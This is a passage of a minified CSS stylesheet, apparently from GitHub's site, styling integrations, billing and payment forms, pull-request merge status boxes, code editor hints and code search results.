.octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead 